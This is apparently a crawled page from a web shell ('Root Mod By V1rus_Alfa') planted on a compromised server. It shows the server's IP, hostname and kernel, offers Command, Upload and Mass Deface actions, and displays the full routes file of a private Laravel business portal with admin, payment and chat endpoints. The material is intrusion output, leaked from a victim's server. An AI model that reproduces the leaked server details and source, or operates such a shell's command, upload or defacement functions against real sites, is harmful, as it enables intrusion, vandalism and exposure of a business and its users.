���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
portal-cutunix
/
routes
/
Viewing: web.php
<?php use App\Http\Controllers\api\v1\AdminController; use App\Http\Controllers\General\PaymentController; use App\Livewire\Admin\Pages\AdminUser\CreateAdmin; use App\Livewire\Admin\Pages\AdminUser\GetAllAdminsList; use App\Livewire\Admin\Pages\AdminUser\GetAllTenantsList; use App\Livewire\Admin\Pages\AdminUser\UpdateAdmin; use App\Livewire\Admin\Pages\Analyze\Config\GetAllAnalyzeConfigurationsList; use App\Livewire\Admin\Pages\Analyze\Materials\GetAllAnalyzeMaterialsList; use App\Livewire\Admin\Pages\Analyze\Setting\GetAllAnalyzeSettingsList; use App\Livewire\Admin\Pages\Analyze\Units\CreateAnalyzeUnit; use App\Livewire\Admin\Pages\Analyze\Units\GetAllAnalyzeUnitsList; use App\Livewire\Admin\Pages\Analyze\Units\UpdateAnalyzeUnit; use App\Livewire\Admin\Pages\App\CreateApplication; use App\Livewire\Admin\Pages\App\GetApplicationsList; use App\Livewire\Admin\Pages\App\UpdateApplication; use App\Livewire\Admin\Pages\AppVersion\GetApplicationVersionsList; use App\Livewire\Admin\Pages\Auth\AdminLoginPage; use App\Livewire\Admin\Pages\Bot\GetProcessBotsList; use App\Livewire\Admin\Pages\Chat\GetAllChatMessagesList; use App\Livewire\Admin\Pages\Chat\GetChatMessage; use App\Livewire\Admin\Pages\Config\GetApplicationConfigurationsList; use App\Livewire\Admin\Pages\Dashboard\Order\GetOrderDetails; use App\Livewire\Admin\Pages\Employee\CreateTenantsStaff; use App\Livewire\Admin\Pages\Employee\GetAllTenantsStaffList; use App\Livewire\Admin\Pages\Employee\UpdateTenantsStaff; use App\Livewire\Admin\Pages\Factor\CreateInvoice; use App\Livewire\Admin\Pages\Factor\GetAllInvoicesList; use App\Livewire\Admin\Pages\Factor\UpdateInvoice; use App\Livewire\Admin\Pages\Financial\Definition\Detailed\GetAccountingDetailsAccountsList; use App\Livewire\Admin\Pages\Financial\Definition\GetAccountingAccountsList; use App\Livewire\Admin\Pages\Financial\Definition\Moeen\GetAccountingSpecifiedAccountsList; use App\Livewire\Admin\Pages\Financial\Document\GetDocument; use App\Livewire\Admin\Pages\Financial\Document\GetDocumentList; use App\Livewire\Admin\Pages\Financial\Pay\GetReceivedCashPaymentsList; use App\Livewire\Admin\Pages\Financial\Pay\GetReceivedChequePaymentsList; use App\Livewire\Admin\Pages\Link\GetApplicationLinksList; use App\Livewire\Admin\Pages\Machinery\GetIndustrialMachineryList; use App\Livewire\Admin\Pages\Marketer\GetUserMarketer; use App\Livewire\Admin\Pages\Marketer\GetUserMarketersList; use App\Livewire\Admin\Pages\Message\Ticket as TicketMessage; use App\Livewire\Admin\Pages\Order\AssignOrderToOrderGroup; use App\Livewire\Admin\Pages\Order\Convert\Chat\GetOrderConvertChatMessage; use App\Livewire\Admin\Pages\Order\CreateOrder; use App\Livewire\Admin\Pages\Order\GetAllOrdersList; use App\Livewire\Admin\Pages\Order\GetUserOrder; use App\Livewire\Admin\Pages\Order\UpdateOrder; use App\Livewire\Admin\Pages\OrderStatus\CreateOrderStatus; use App\Livewire\Admin\Pages\OrderStatus\GetAllOrderStatusesList; use App\Livewire\Admin\Pages\OrderStatus\UpdateOrderStatus; use App\Livewire\Admin\Pages\Payment\GetAllCutunixshotPaymentsList; use App\Livewire\Admin\Pages\Payment\GetAllPaymentLogsList; use App\Livewire\Admin\Pages\Payment\GetAllTenantsTransactionLogsList; use App\Livewire\Admin\Pages\Payment\GetCutunixshotPayment; use App\Livewire\Admin\Pages\Payment\GetPayment; use App\Livewire\Admin\Pages\Price\GetProvidedServicesList; use App\Livewire\Admin\Pages\ProcessManagement\All\GetAllCuttingProcessList; use App\Livewire\Admin\Pages\ProcessManagement\Analyze\GetAnalyzeProcessList; use App\Livewire\Admin\Pages\ProcessManagement\Cutunix\GetCutunixProcessList; use App\Livewire\Admin\Pages\ProcessManagement\MdfShot\GetMdfShotProcessList; use App\Livewire\Admin\Pages\Products\Category\GetProductCategoriesList; use App\Livewire\Admin\Pages\Products\Product\GetProductsList; use App\Livewire\Admin\Pages\Products\Type\GetProductTypesList; use App\Livewire\Admin\Pages\Roles\CreateAdminRole; use App\Livewire\Admin\Pages\Roles\GetAdminRolesList; use App\Livewire\Admin\Pages\Roles\UpdateAdminRole; use App\Livewire\Admin\Pages\Services\GetServicesRequestsList; use App\Livewire\Admin\Pages\Services\GetServicesSettingsList; use App\Livewire\Admin\Pages\ServicesStatus\CreateExecutionStatus; use App\Livewire\Admin\Pages\ServicesStatus\GetAllExecutionStatusesList; use App\Livewire\Admin\Pages\ServicesStatus\UpdateExecutionStatus; use App\Livewire\Admin\Pages\SinglePage\ShowExecutionDashboardPage; use App\Livewire\Admin\Pages\Slider\CreateApplicationSlider; use App\Livewire\Admin\Pages\Slider\GetApplicationSlidersList; use App\Livewire\Admin\Pages\Slider\UpdateApplicationSlider; use App\Livewire\Admin\Pages\Table\User\Tracking\GetUsersTrackingLogsList; use App\Livewire\Admin\Pages\Table\User\UpdateTenantsFinancialTransaction; use App\Livewire\Admin\Pages\User\GetAllRegisterCodesList; use App\Livewire\Admin\Pages\User\GetAllUsersList; use App\Livewire\Admin\Pages\User\GetAllTenantsCustomersList; use App\Livewire\Admin\Pages\User\GetCutunixshotUsersList; use App\Livewire\Admin\Pages\User\GetCutunixUsersList; use App\Livewire\Admin\Pages\User\Tracking\GetAllUsersTrackingLogsList; use App\Livewire\Admin\Pages\User\Tracking\GetOurTrackingLogsList; use App\Livewire\Site\Pages\Tenant\ShowTenantRequestPage; use App\Livewire\Site\Pages\SinglePage\PaymentMobile; use App\Livewire\Site\Pages\SinglePage\ShowHomePage; use App\Livewire\UploadFile; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Route; use App\Livewire\Admin\Pages\Factor\Buy\CreatePurchaseInvoice; use App\Livewire\Admin\Pages\Factor\Buy\UpdatePurchaseInvoice; use Modules\Identity\Http\Middleware\EnsureAdminIsAuthenticated; use Modules\RolePermission\Http\Middleware\EnsurePermissionTeamIdIsSet; use Modules\Tenancy\Http\Middleware\EnsureStaffUnauthenticated; use Modules\Tenancy\Http\Middleware\EnsureTheTenantIsSetUp; use App\Livewire\Admin\Pages\Dashboard\Order\Show as ShowDashboardShow; use App\Http\Controllers\ChatController; require __DIR__ . '/app.php'; //Route::post('/save-token', [AdminController::class, 'saveToken'])->name('save-token'); Route::post('/get-product', [AdminController::class, 'get_product']); Route::get('/get-products', [AdminController::class, 'get_products']); //Route::get('/', ShowHomePage::class)->name('home'); //Route::get('/home', ShowHomePage::class)->name('home'); //Route::get('/index', ShowHomePage::class); Route::get('/contact-us', ShowHomePage::class); Route::get('/payment_mobile', PaymentMobile::class); Route::get('/cut', [PaymentController::class, 'cut']); Route::get('/services/request', ShowTenantRequestPage::class); Route::group(['middleware' => ['auth', 'UserCheck']], function () { Route::post('/logout', function () { Auth::logout(); return redirect()->route('/'); })->name('logout'); }); Route::get('/payment/zarinpal', [PaymentController::class, 'zarinpal']); Route::get('/payment/order', [PaymentController::class, 'order_pay']); Route::any('/payment/res_zarinpal', [PaymentController::class, 'res_zarinpal'])->name('res_zarinpal'); Route::get('/payment/analyze_zarinpal', [PaymentController::class, 'analyze_zarinpal']); Route::any('/payment/res_analyze_zarinpal', [PaymentController::class, 'res_analyze_zarinpal'])->name('res_analyze_zarinpal'); // Route::get('/payment/submitIran',FormIran::class); Route::middleware([ 'guest', EnsureStaffUnauthenticated::class ])->group(function () { Route::get('admin/login', AdminLoginPage::class)->name('admin.login'); }); Route::post('dashboard/logout', function () { if (auth('admin')->check()) { auth('admin')->logout(); } if (auth('tenant')->check()) { auth('tenant')->logout(); } return redirect('/'); })->name('dashboardLogout'); //access-after-login-admin Route::middleware([ 'auth:admin', // EnsurePermissionTeamIdIsSet::class, EnsureAdminIsAuthenticated::class ])->group(function () { // Route::get('admin', ShowAdminDashboard::class)->name('admin.dashboard.index'); Route::group(['prefix' => 'admin/dashboard'], function () { Route::get('/order/{id}', ShowDashboardShow::class); }); Route::get('admin/roles', GetAdminRolesList::class); Route::get('admin/roles/add', CreateAdminRole::class); Route::get('admin/roles/edit/{id}', UpdateAdminRole::class); Route::get('admin/products', GetProductsList::class); Route::get('admin/products/category', GetProductCategoriesList::class); Route::get('admin/products/type', GetProductTypesList::class); Route::get('admin/financial/definition', GetAccountingAccountsList::class); Route::get('admin/financial/definition/moeen/{kol_id}', GetAccountingSpecifiedAccountsList::class); Route::get('admin/financial/definition/detailed/{kol_id}/{moeen_id}', GetAccountingDetailsAccountsList::class); Route::get('admin/financial/pay/cash-receive', GetReceivedCashPaymentsList::class); Route::get('admin/financial/pay/check-receive', GetReceivedChequePaymentsList::class); Route::get('admin/financial/document', GetDocumentList::class); Route::get('admin/financial/document/single/{id}', GetDocument::class); Route::get('admin/services/settings', GetServicesSettingsList::class); Route::get('admin/services/requests', GetServicesRequestsList::class); Route::get('admin/marketer/show', GetUserMarketersList::class); Route::get('admin/marketer/user/{marketer_id}', GetUserMarketer::class); Route::get('admin/app/show', GetApplicationsList::class); Route::get('admin/app/edit/{id}', UpdateApplication::class); Route::get('admin/app/add', CreateApplication::class); Route::get('admin/slider/show', GetApplicationSlidersList::class); Route::get('admin/slider/edit/{id}', UpdateApplicationSlider::class); Route::get('admin/slider/add', CreateApplicationSlider::class); // Route::get('admin/dashboard/order/{id}', GetOrderDetails::class); Route::group(['middleware' => 'JustAdmin'], function () { Route::get('admin/config/show', GetApplicationConfigurationsList::class);; Route::get('admin/app-version/show', GetApplicationVersionsList::class);; Route::get('admin/machinery/show', GetIndustrialMachineryList::class);; Route::get('admin/price/show', GetProvidedServicesList::class); Route::get('admin/link/show', GetApplicationLinksList::class); Route::get('admin/user/all', GetAllUsersList::class); Route::get('admin/user/cutunix', GetCutunixUsersList::class)->name('user.platforms.cutunix'); Route::get('admin/user/cutunixshot', GetCutunixshotUsersList::class)->name('user.platforms.cutunixshot'); Route::get('admin/user/{id}/tracking-logs', GetUsersTrackingLogsList::class)->name('user.tracking.show'); Route::get('admin/user/tracking-logs/all', GetAllUsersTrackingLogsList::class); Route::get('admin/user/our/tracking-logs', GetOurTrackingLogsList::class)->name('user.our.tracking'); Route::get('admin/user/register-codes/all', GetAllRegisterCodesList::class)->name('user.register-codes.all'); Route::get('admin/analyze/units', GetAllAnalyzeUnitsList::class); Route::get('admin/analyze/units/add', CreateAnalyzeUnit::class); Route::get('admin/analyze/units/edit/{id}', UpdateAnalyzeUnit::class); Route::get('admin/analyze/materials/', GetAllAnalyzeMaterialsList::class); Route::get('admin/analyze/config', GetAllAnalyzeConfigurationsList::class); Route::get('admin/analyze/setting', GetAllAnalyzeSettingsList::class); }); Route::group(['middleware' => 'TwoAdmin'], function () { Route::get('admin/bots/information', GetProcessBotsList::class)->name('admin.bots.information'); Route::get('admin/cutting-process', GetAllCuttingProcessList::class); Route::get('admin/process-management/cutunix/list', GetCutunixProcessList::class); Route::get('admin/process-management/analyze/list', GetAnalyzeProcessList::class); Route::get('admin/process-management/mdfshot/list', GetMdfShotProcessList::class); Route::get('admin/employee/show', GetAllTenantsStaffList::class); Route::get('admin/employee/edit/{id}', UpdateTenantsStaff::class); Route::get('admin/employee/add', CreateTenantsStaff::class); Route::get('admin/service-status/show', GetAllExecutionStatusesList::class); Route::get('admin/service-status/edit/{id}', UpdateExecutionStatus::class); Route::get('admin/service-status/add', CreateExecutionStatus::class); Route::get('admin/work', ShowExecutionDashboardPage::class); Route::get('admin/user/show', GetAllTenantsCustomersList::class); Route::get('admin/cutunixshot/payment/show/{id}', GetCutunixshotPayment::class)->name('user.cutunixshot.payments'); Route::get('admin/cutunixshot/payment/all', GetAllCutunixshotPaymentsList::class)->name('user.cutunixshot.payment.all'); Route::get('admin/payment/show/{id}', GetPayment::class); Route::get('admin/payment/log', GetAllPaymentLogsList::class); Route::get('admin/payment/users/{id?} ', GetAllTenantsTransactionLogsList::class); Route::get('admin/order-status/show', GetAllOrderStatusesList::class); Route::get('admin/order-status/edit/{id}', UpdateOrderStatus::class); Route::get('admin/order-status/add', CreateOrderStatus::class); Route::get('admin/table/user/edit-financial/{id}', UpdateTenantsFinancialTransaction::class); }); Route::group(['middleware' => 'TwoAdmin2'], function () { Route::get('admin/message/tickets', TicketMessage::class); Route::get('admin/user-admin/show', GetAllAdminsList::class); Route::get('admin/user-admin/services', GetAllTenantsList::class); Route::get('admin/user-admin/edit/{id}', UpdateAdmin::class); Route::get('admin/user-admin/add', CreateAdmin::class); }); Route::group(['middleware' => 'ThreeAdmin'], function () { Route::get('admin/order/{order}/chat', GetChatMessage::class); Route::get('admin/order/convert/chat/{id}', GetOrderConvertChatMessage::class); Route::get('admin/order/show', GetAllOrdersList::class); Route::get('admin/order/add', CreateOrder::class); Route::get('admin/order/user/{id}', GetUserOrder::class); Route::get('admin/order/edit/{id}', UpdateOrder::class); Route::get('admin/order/add-group/{id}', AssignOrderToOrderGroup::class); Route::get('admin/messages/all', GetAllChatMessagesList::class); Route::get('admin/factor/add/{user_id}/{order_id?}', CreateInvoice::class); Route::get('admin/factor/edit/{factor_id}', UpdateInvoice::class); Route::get('admin/factor/show', GetAllInvoicesList::class); Route::get('admin/factor/buy/add', CreatePurchaseInvoice::class); Route::get('admin/factor/buy/edit/{factor_id}', UpdatePurchaseInvoice::class); }); }); // Admin chat routes Route::middleware(['auth:admin'])->group(function () { Route::get('/admin/chat', [ChatController::class, 'index'])->name('admin.chat.index'); Route::get('/admin/chat/{conversation}', [ChatController::class, 'show'])->name('admin.chat.show'); Route::post('/admin/chat/{conversation}/messages', [ChatController::class, 'store'])->name('admin.chat.store'); Route::post('/admin/chat', [ChatController::class, 'create'])->name('admin.chat.create'); }); // Tenant chat routes Route::middleware(['auth:tenant'])->group(function () { Route::get('/tenant/chat', [ChatController::class, 'index'])->name('tenant.chat.index'); Route::get('/tenant/chat/{conversation}', [ChatController::class, 'show'])->name('tenant.chat.show'); Route::post('/tenant/chat/{conversation}/messages', [ChatController::class, 'store'])->name('tenant.chat.store'); Route::post('/tenant/chat', [ChatController::class, 'create'])->name('tenant.chat.create'); }); // User chat routes Route::middleware(['auth:web'])->group(function () { Route::get('/chat', [ChatController::class, 'index'])->name('chat.index'); Route::get('/chat/{conversation}', [ChatController::class, 'show'])->name('chat.show'); Route::post('/chat/{conversation}/messages', [ChatController::class, 'store'])->name('chat.store'); Route::post('/chat', [ChatController::class, 'create'])->name('chat.create'); });
Coded With 💗 by
0x6ick Mod By V1rus_Alfa